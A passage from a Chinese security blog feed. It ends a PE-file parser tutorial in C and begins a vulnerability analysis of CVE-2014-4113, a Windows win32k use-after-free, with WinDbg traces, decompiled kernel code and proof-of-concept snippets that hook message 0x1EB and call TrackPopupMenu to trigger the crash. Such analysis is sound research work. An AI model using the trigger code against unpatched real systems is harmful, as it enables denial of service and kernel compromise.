class="built_in">printf</span>(<span class="string">"SizeOfRawData: 0x%08X\n"</span>, (DWORD)pSh-&gt;SizeOfRawData);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"PointerToRawData: 0x%08X\n"</span>, (DWORD)pSh-&gt;PointerToRawData);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="comment">/*  ExportTable                               */</span></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"--------------------ExportTable----------------------\n"</span>);</span><br><span class="line">DWORD Export_table_offset = RVAOffset(pNtH, (DWORD)pNtH-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);</span><br><span class="line">PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)ImageBase + Export_table_offset);</span><br><span class="line">DWORD EXport_table_offset_Name = (DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory-&gt;Name);</span><br><span class="line">DWORD * pNameOfAddress = (DWORD *)((DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory-&gt;AddressOfNames));</span><br><span class="line">DWORD * pFunctionOfAdress = (DWORD *)((DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory-&gt;AddressOfFunctions));</span><br><span class="line">WORD * pNameOrdinalOfAddress = (WORD *)((DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory-&gt;AddressOfNameOrdinals));</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Name:%s\n"</span>, EXport_table_offset_Name);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"NameOfAddress:%08X\n"</span>, RVAOffset(pNtH, pExportDirectory-&gt;AddressOfNames));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"FunctionOfAdress:%08X\n"</span>, RVAOffset(pNtH, pExportDirectory-&gt;AddressOfFunctions));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"NameOrdinalOfAddress:%08X\n"</span>, RVAOffset(pNtH, pExportDirectory-&gt;AddressOfNameOrdinals));</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (pExportDirectory-&gt;NumberOfFunctions == <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"!!!!!!!!!!!!!!!!!NO EXPORT!!!!!!!!!!!!!!!!!!!!!"</span>);</span><br><span class="line"><span class="keyword">if</span> (hFile != INVALID_HANDLE_VALUE)</span><br><span class="line">&#123;</span><br><span class="line">CloseHandle(hFile);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (hMapping != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">CloseHandle(hMapping);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (ImageBase != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">UnmapViewOfFile(ImageBase);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"NumberOfNames:%d\n"</span>, pExportDirectory-&gt;NumberOfNames);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"NumberOfFunctions:%d\n"</span>, pExportDirectory-&gt;NumberOfFunctions);</span><br><span class="line"></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="comment">/*  ImportTable                               */</span></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"--------------------ImportTable----------------------\n"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> cont = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">DWORD dwImportOffset = RVAOffset(pNtH, pNtH-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);</span><br><span class="line">dwImportOffset = dwImportOffset + cont;</span><br><span class="line">PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ImageBase + dwImportOffset);</span><br><span class="line"><span class="keyword">if</span> (pImport-&gt;OriginalFirstThunk == <span class="number">0</span> &amp;&amp; pImport-&gt;TimeDateStamp == <span class="number">0</span> &amp;&amp; pImport-&gt;ForwarderChain == <span class="number">0</span> &amp;&amp; pImport-&gt;Name == <span class="number">0</span> &amp;&amp; pImport-&gt;FirstThunk == <span class="number">0</span>)</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">DWORD dwOriginalFirstThunk = (DWORD)ImageBase + RVAOffset(pNtH, pImport-&gt;OriginalFirstThunk);</span><br><span class="line">DWORD dwFirstThunk = (DWORD)ImageBase + RVAOffset(pNtH, pImport-&gt;FirstThunk);</span><br><span class="line">DWORD dwName = (DWORD)ImageBase + RVAOffset(pNtH, pImport-&gt;Name);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"---------Import File Name: %s\n"</span>, dwName);</span><br><span class="line"><span class="keyword">if</span> (dwOriginalFirstThunk == <span class="number">0x00000000</span>)</span><br><span class="line">&#123;</span><br><span class="line">dwOriginalFirstThunk = dwFirstThunk;</span><br><span class="line">&#125;</span><br><span class="line">DWORD* pdwTrunkData = (DWORD*)dwOriginalFirstThunk;</span><br><span class="line"><span class="keyword">int</span> n = <span class="number">0</span>, x = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span> (pdwTrunkData[n] != <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">DWORD TrunkData = pdwTrunkData[n];</span><br><span class="line"><span class="keyword">if</span> (TrunkData &lt; IMAGE_ORDINAL_FLAG32)<span class="comment">//名字导入</span></span><br><span class="line">&#123;</span><br><span class="line">PIMAGE_IMPORT_BY_NAME pInportByName = (PIMAGE_IMPORT_BY_NAME)((DWORD)ImageBase + RVAOffset(pNtH, TrunkData));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"ImportByName: %s\n"</span>, pInportByName-&gt;Name);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">DWORD FunNumber = (DWORD)(TrunkData - IMAGE_ORDINAL_FLAG32);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"ImportByNumber: %-4d \n"</span>, FunNumber);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (x != <span class="number">0</span> &amp;&amp; x % <span class="number">3</span> == <span class="number">0</span>) <span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line">n++;</span><br><span class="line">x++;</span><br><span class="line">&#125;</span><br><span class="line">cont = cont + <span class="number">40</span>;</span><br><span class="line">&#125; <span class="keyword">while</span> (<span class="number">1</span>);</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (ImageBase)</span><br><span class="line">&#123;</span><br><span class="line">UnmapViewOfFile(ImageBase);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (hMapping)</span><br><span class="line">&#123;</span><br><span class="line">CloseHandle(hMapping);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (hFile != INVALID_HANDLE_VALUE)</span><br><span class="line">&#123;</span><br><span class="line">CloseHandle(hFile);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><h2 id="运行效果"><a href="#运行效果" class="headerlink" title="运行效果"></a>运行效果</h2><p>节表以及之前信息</p><p><img src="/2019/03/27/PE结构详解/12.jpg" alt="12"></p><p>导出表</p><p><img src="/2019/03/27/PE结构详解/13.jpg" alt="13"></p><p>导入表</p><p><img src="/2019/03/27/PE结构详解/14.jpg" alt="14"></p><h1 id="0x03：总结"><a href="#0x03：总结" class="headerlink" title="0x03：总结"></a>0x03：总结</h1><p>这个PE解析器虽然简单，但是自己写了之后对PE的理解和之前截然不同，后续可以对这个解析器进行各种优化，判断是否有壳之类的功能可以添加上去。</p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p><a href="https://blog.csdn.net/koalazb/article/details/53590404" target="_blank" rel="noopener">https://blog.csdn.net/koalazb/article/details/53590404</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;0x00：前言&quot;&gt;&lt;a href=&quot;#0x00：前言&quot; class=&quot;headerlink&quot; title=&quot;0x00：前言&quot;&gt;&lt;/a&gt;0x00：前言&lt;/h1&gt;&lt;p&gt;PE文件可以说是在逆向的各个领域都有涉及，特别是病毒领域，如果你是一名病毒制造者，那你肯定是对PE文
      
    
    </summary>
    
      <category term="Reverse" scheme="https://thunderjie.github.io/categories/Reverse/"/>
    
      <category term="PE" scheme="https://thunderjie.github.io/categories/Reverse/PE/"/>
    
    
      <category term="PE" scheme="https://thunderjie.github.io/tags/PE/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2014-4113 Windows内核经典Use Afer Free漏洞分析</title>
    <link href="https://thunderjie.github.io/2019/02/21/CVE-2014-4113%20Windows%E5%86%85%E6%A0%B8%E7%BB%8F%E5%85%B8Use%20Afer%20Free%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <id>https://thunderjie.github.io/2019/02/21/CVE-2014-4113 Windows内核经典Use Afer Free漏洞分析/</id>
    <published>2019-02-21T02:56:10.000Z</published>
    <updated>2020-05-07T03:25:52.274Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x00：前言"><a href="#0x00：前言" class="headerlink" title="0x00：前言"></a>0x00：前言</h1><p>CVE-2014-4113是一个非常经典的内核漏洞，本片文章从Poc触发，分析如何构造Exploit，Poc的下载在文末的链接之中，实验平台是Windows 7 x86 sp1本次漏洞是一个释放后重用的漏洞，深入了解这个漏洞对内核的一些利用方法会有不一样的收获</p><h1 id="0x01：Poc分析"><a href="#0x01：Poc分析" class="headerlink" title="0x01：Poc分析"></a>0x01：Poc分析</h1><h2 id="栈回溯"><a href="#栈回溯" class="headerlink" title="栈回溯"></a>栈回溯</h2><p>我们假装不知道Poc源码，运行Poc进行栈回溯观察</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; g</span><br><span class="line">Access violation - code c0000005 (!!! second chance !!!)</span><br><span class="line">win32k!xxxSendMessageTimeout+0xb3:</span><br><span class="line">95db93fa 3b7e08          cmp     edi,dword ptr [esi+8]</span><br><span class="line">2: kd&gt; kb</span><br><span class="line"> # ChildEBP RetAddr  Args to Child              </span><br><span class="line">00 92efba64 95db95c5 fffffffb 000001ed 0014fde4 win32k!xxxSendMessageTimeout+0xb3</span><br><span class="line">01 92efba8c 95e392fb fffffffb 000001ed 0014fde4 win32k!xxxSendMessage+0x28</span><br><span class="line">02 92efbaec 95e38c1f 92efbb0c 00000000 0014fde4 win32k!xxxHandleMenuMessages+0x582</span><br><span class="line">03 92efbb38 95e3f8f1 fe9f30c8 95f1f580 00000000 win32k!xxxMNLoop+0x2c6</span><br><span class="line">04 92efbba0 95e3f9dc 0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx+0x5cd</span><br><span class="line">05 92efbc14 83e3f1ea 00020117 00000000 00000000 win32k!NtUserTrackPopupMenuEx+0xc3</span><br><span class="line">06 92efbc14 77c170b4 00020117 00000000 00000000 nt!KiFastCallEntry+0x12a</span><br><span class="line">07 0014fdf8 7619483e 76182243 00020117 00000000 ntdll!KiFastSystemCallRet</span><br><span class="line">08 0014fdfc 76182243 00020117 00000000 00000000 USER32!NtUserTrackPopupMenuEx+0xc</span><br><span class="line">09 0014fe1c 0127139f 00020117 00000000 00000000 USER32!TrackPopupMenu+0x1b</span><br><span class="line">0a 0014fedc 012715d4 00000001 002e7e38 002e7e98 Trigger!wmain+0x2af [D:\Trigger.cpp @ 224] </span><br><span class="line">0b (Inline) -------- -------- -------- -------- Trigger!invoke_main+0x1c [d:\agent\_work\4\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 90] </span><br><span class="line">0c 0014ff24 76073c45 7ffdc000 0014ff70 77c337f5 Trigger!__scrt_common_main_seh+0xfa [d:\agent\_work\4\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] </span><br><span class="line">0d 0014ff30 77c337f5 7ffdc000 77dd8776 00000000 kernel32!BaseThreadInitThunk+0xe</span><br><span class="line">0e 0014ff70 77c337c8 0127165c 7ffdc000 00000000 ntdll!__RtlUserThreadStart+0x70</span><br><span class="line">0f 0014ff88 00000000 0127165c 7ffdc000 00000000 ntdll!_RtlUserThreadStart+0x1b</span><br></pre></td></tr></table></figure><p>查看此时的 esi 情况，发现 esi 此时为 fffffffb，esi+8 处并没有映射内存</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">2: kd&gt; r</span><br><span class="line">eax=fffffe0d ebx=000001ed ecx=95f120e4 edx=92efbb78 esi=fffffffb edi=fe509b50</span><br><span class="line">eip=95db93fa esp=92efba3c ebp=92efba64 iopl=0         nv up ei ng nz na pe nc</span><br><span class="line">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286</span><br><span class="line">win32k!xxxSendMessageTimeout+0xb3:</span><br><span class="line">95db93fa 3b7e08          cmp     edi,dword ptr [esi+8] ds:0023:00000003=????????</span><br><span class="line">2: kd&gt; dd esi+8</span><br><span class="line">00000003  ???????? ???????? ???????? ????????</span><br><span class="line">00000013  ???????? ???????? ???????? ????????</span><br><span class="line">00000023  ???????? ???????? ???????? ????????</span><br><span class="line">00000033  ???????? ???????? ???????? ????????</span><br><span class="line">00000043  ???????? ???????? ???????? ????????</span><br><span class="line">00000053  ???????? ???????? ???????? ????????</span><br><span class="line">00000063  ???????? ???????? ???????? ????????</span><br><span class="line">00000073  ???????? ???????? ???????? ????????</span><br></pre></td></tr></table></figure><p>我们在IDA里查看函数信息寻找一下这个 fffffffb 是如何产生的，首先找到崩溃点的位置从内向外开始分析，这里可以发现 esi 也就是我们的第一个参数 P</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">xxxSendMessageTimeout</span><span class="params">(PVOID P, CHAR MbString, WCHAR UnicodeString, <span class="keyword">void</span> *Src, <span class="keyword">unsigned</span> <span class="keyword">int</span> HighLimit, <span class="keyword">unsigned</span> <span class="keyword">int</span> LowLimit, <span class="keyword">int</span> a7, PVOID Entry)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">if</span> ( gptiCurrent == *((PVOID *)P + <span class="number">2</span>) ) <span class="comment">// cmp     edi, [esi+8] =&gt; 蓝屏点</span></span><br><span class="line">    &#123;</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们继续追溯到 <code>xxxSendMessage</code>函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> __<span class="function">stdcall <span class="title">xxxSendMessage</span><span class="params">(PVOID P, CHAR MbString, WCHAR UnicodeString, <span class="keyword">void</span> *Src)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  InterlockedIncrement(&amp;glSendMessage);</span><br><span class="line">  <span class="keyword">return</span> xxxSendMessageTimeout(P, MbString, UnicodeString, Src, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, (PVOID)<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>继续往回追溯，我们只关注关键的代码，发现我们的第一个参数来自于<code>xxxMNFindWindowFromPoint</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">xxxHandleMenuMessages</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">int</span> a2, WCHAR UnicodeString)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ...</span><br><span class="line">    v13 = (_DWORD *)xxxMNFindWindowFromPoint((WCHAR)v3, (<span class="keyword">int</span>)&amp;UnicodeString, (<span class="keyword">int</span>)v7);</span><br><span class="line">    ...</span><br><span class="line">    xxxSendMessage(v13, <span class="number">0xED</span>, UnicodeString, <span class="number">0</span>);</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们来观察一下这个函数的返回值，我们的 esi 最后出问题的值就是 fffffffb(-5) 也就是说这个函数返回的是 fffffffb，我们在v5判断的下一句下断点我们可以得到这里的返回值来自<code>xxxSendMessage</code>函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">xxxMNFindWindowFromPoint</span><span class="params">(WCHAR UnicodeString, <span class="keyword">int</span> a2, <span class="keyword">int</span> a3)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  ...</span><br><span class="line">  v5 = *(_DWORD *)(UnicodeString + <span class="number">0xC</span>);</span><br><span class="line">  <span class="keyword">if</span> ( v5 ) <span class="comment">// 下一句下断点</span></span><br><span class="line">  &#123;</span><br><span class="line"> ...</span><br><span class="line">    v6 = xxxSendMessage(</span><br><span class="line">           *(PVOID *)(v4 + <span class="number">0xC</span>),</span><br><span class="line">           <span class="number">0xEB</span>,</span><br><span class="line">           (<span class="keyword">unsigned</span> <span class="keyword">int</span>)&amp;UnicodeString,</span><br><span class="line">           (<span class="keyword">void</span> *)((<span class="keyword">unsigned</span> __int16)a3 | ((<span class="keyword">unsigned</span> <span class="keyword">int</span>)a3 &gt;&gt; <span class="number">0x10</span> &lt;&lt; <span class="number">0x10</span>)));</span><br><span class="line">    ThreadUnlock1();</span><br><span class="line">    <span class="keyword">if</span> ( IsMFMWFPWindow(v6) )</span><br><span class="line">    &#123;</span><br><span class="line">      LOBYTE(v7) = <span class="number">1</span>;</span><br><span class="line">      v6 = HMValidateHandleNoSecure(v6, v7);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v6 )</span><br><span class="line">    &#123;</span><br><span class="line">      *v3 = UnicodeString;</span><br><span class="line">      <span class="keyword">return</span> v6;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/2019/02/21/CVE-2014-4113 Windows内核经典Use Afer Free漏洞分析/11.png" alt="1566460832480"></p><p>我们在windbg中下断重新运行Poc之后到达了这里，我们单步查看<code>xxxSendMessage</code>函数的返回值发现是 fffffffb，通过观察我们发现这里传了一个1EBh的消息</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">3</span>: kd&gt; r</span><br><span class="line">eax=fea2bbd0 ebx=<span class="number">8e9</span>dcafc ecx=<span class="number">00000202</span> edx=<span class="number">00000000</span> esi=<span class="number">95f</span>1f580 edi=fe9f30c8</span><br><span class="line">eip=<span class="number">95e395</span>b9 esp=<span class="number">8e9</span>dca5c ebp=<span class="number">8e9</span>dca90 iopl=<span class="number">0</span>         nv up ei ng nz na po nc</span><br><span class="line">cs=<span class="number">0008</span>  ss=<span class="number">0010</span>  ds=<span class="number">0023</span>  es=<span class="number">0023</span>  fs=<span class="number">0030</span>  gs=<span class="number">0000</span>             efl=<span class="number">00000282</span></span><br><span class="line">win32k!xxxMNFindWindowFromPoint+<span class="number">0x1b</span>:</span><br><span class="line"><span class="number">95e395</span>b9 <span class="number">8b</span>0d58ebf195    mov     ecx,dword ptr [win32k!gptiCurrent (<span class="number">95f</span>1eb58)] ds:<span class="number">0023</span>:<span class="number">95f</span>1eb58=fdbd7580</span><br><span class="line"><span class="number">3</span>: kd&gt; p</span><br><span class="line">win32k!xxxMNFindWindowFromPoint+<span class="number">0x21</span>:</span><br><span class="line"><span class="number">95e395</span>bf <span class="number">81</span>c1b4000000    add     ecx,<span class="number">0B</span>4h</span><br><span class="line">(若干次单步)</span><br><span class="line"><span class="number">3</span>: kd&gt; </span><br><span class="line">win32k!xxxMNFindWindowFromPoint+<span class="number">0x4b</span>:</span><br><span class="line"><span class="number">95e395</span>e9 <span class="number">68</span>eb010000      push    <span class="number">1</span>EBh <span class="comment">// 这里传入了一个 1EBh 的消息</span></span><br><span class="line"><span class="number">3</span>: kd&gt; </span><br><span class="line">win32k!xxxMNFindWindowFromPoint+<span class="number">0x50</span>:</span><br><span class="line"><span class="number">95e395</span>ee ff770c          push    dword ptr [edi+<span class="number">0</span>Ch]</span><br><span class="line"><span class="number">3</span>: kd&gt; </span><br><span class="line">win32k!xxxMNFindWindowFromPoint+<span class="number">0x53</span>:</span><br><span class="line"><span class="number">95e395</span>f1 e8a7fff7ff      call    win32k!xxxSendMessage (<span class="number">95</span>db959d)</span><br><span class="line"><span class="number">3</span>: kd&gt; </span><br><span class="line">win32k!xxxMNFindWindowFromPoint+<span class="number">0x58</span>:</span><br><span class="line"><span class="number">95e395</span>f6 <span class="number">8b</span>f0            mov     esi,eax</span><br><span class="line"><span class="number">2</span>: kd&gt; r</span><br><span class="line">eax=fffffffb ebx=<span class="number">8e9</span>dcafc ecx=<span class="number">8e9</span>dca34 edx=<span class="number">0013f</span>d48 esi=<span class="number">95f</span>1f580 edi=fe9f30c8</span><br><span class="line">eip=<span class="number">95e395</span>f6 esp=<span class="number">8e9</span>dca5c ebp=<span class="number">8e9</span>dca90 iopl=<span class="number">0</span>         nv up ei pl zr na pe nc</span><br><span class="line">cs=<span class="number">0008</span>  ss=<span class="number">0010</span>  ds=<span class="number">0023</span>  es=<span class="number">0023</span>  fs=<span class="number">0030</span>  gs=<span class="number">0000</span>             efl=<span class="number">00000246</span></span><br><span class="line">win32k!xxxMNFindWindowFromPoint+<span class="number">0x58</span>:</span><br><span class="line"><span class="number">95e395</span>f6 <span class="number">8b</span>f0            mov     esi,eax</span><br></pre></td></tr></table></figure><p>我们查询消息 1EBh 其原型是<code>MN_FINDWINDOWFROMPOINT</code>，我们现在知道了这个 fffffffb 产生的原因，就是<code>xxxSendMessage</code>函数处理1EBh 消息的返回值，因为返回的是 fffffffb ，后面<code>cmp     edi, [esi+8]</code>语句又对 0x3 地址进行了访问就造成了蓝屏，这就是漏洞产生的原因</p><h2 id="源码分析"><a href="#源码分析" class="headerlink" title="源码分析"></a>源码分析</h2><p>我们查看一下 Poc 源码中是如何构造的，先从简单的分析，在main函数中我们可以大致得到如下代码片段，我们首先创建了一个主窗口，又新建了两个菜单并插入了新菜单项，然后我们调用了<code>SetWindowsHookExA</code>来拦截 1EBh 的消息，具体内容后面分析，最后我们调用了<code>TrackPopupMenu</code>函数触发漏洞</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">main()</span><br><span class="line">&#123;</span><br><span class="line">main_wnd = CreateWindowA(...);</span><br><span class="line">MenuOne = CreatePopupMenu();</span><br><span class="line">insertMenuItem = InsertMenuItemA(MenuOne, <span class="number">0</span>, TRUE, &amp;MenuOneInfo);</span><br><span class="line">MenuTwo = CreatePopupMenu();</span><br><span class="line">insertMenuItem = InsertMenuItemA(MenuTwo, <span class="number">0</span>, TRUE, &amp;MenuTwoInfo);</span><br><span class="line">setWindowsHook = SetWindowsHookExA(</span><br><span class="line">WH_CALLWNDPROC, </span><br><span class="line">HookCallback, </span><br><span class="line"><span class="literal">NULL</span>, </span><br><span class="line">GetCurrentThreadId()</span><br><span class="line">);</span><br><span class="line">TrackPopupMenu(</span><br><span class="line">MenuTwo,  <span class="comment">//Handle to the menu we want to display, for us its the submenu we just created.</span></span><br><span class="line"><span class="number">0</span>, <span class="comment">//Options on how the menu is aligned, what clicks are allowed etc, we don't care.</span></span><br><span class="line"><span class="number">0</span>, <span class="comment">//Horizontal position - left hand side</span></span><br><span class="line"><span class="number">0</span>, <span class="comment">//Vertical position - Top edge</span></span><br><span class="line"><span class="number">0</span>, <span class="comment">//Reserved field, has to be 0</span></span><br><span class="line">main_wnd, <span class="comment">//Handle to the Window which owns the menu</span></span><br><span class="line"><span class="literal">NULL</span> <span class="comment">//This value is always ignored...</span></span><br><span class="line">);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们来看一些有趣的细节，第一个点就是 main_wnd 中的消息处理函数，注释里面写的很清楚，这里首先判断消息是否进入了空闲状态，如果是则通过<code>PostMessageA</code>函数发送了三次异步消息，模拟了键盘和鼠标的操作从而达到漏洞点</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">LRESULT CALLBACK <span class="title">WndProc</span><span class="params">(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)</span> </span>&#123;</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"WindProc called with message=%d\n"</span>, msg);</span><br><span class="line"><span class="keyword">if</span> (msg == WM_ENTERIDLE) &#123;</span><br><span class="line">PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, <span class="number">0</span>);</span><br><span class="line">PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, <span class="number">0</span>);</span><br><span class="line">PostMessageA(hwnd, WM_LBUTTONDOWN, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//Just pass any other messages to the default window procedure</span></span><br><span class="line"><span class="keyword">return</span> DefWindowProc(hwnd, msg, wParam, lParam);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>第二个点就是我们<code>SetWindowsHookExA</code>拦截 0x1EB 消息，这里<code>SetWindowLongA</code>设置了一次窗口函数是因为只有在窗口处理函数线程的上下文空间中调用<code>EndMenu</code>函数才有意义，我们调用<code>EndMenu</code>函数销毁了这个菜单，此时的<code>win32k!xxxSendMessage</code>函数进行调用就会失败，上层函数 <code>win32k!xxxMNFindWindowFromPoint</code>就会返回 fffffffb ，最后到达<code>win32k!xxxHandleMenuMessages</code>函数的时候再次调用<code>win32k!xxxSendMessage</code>时就出现了问题</p><figure class="highlight 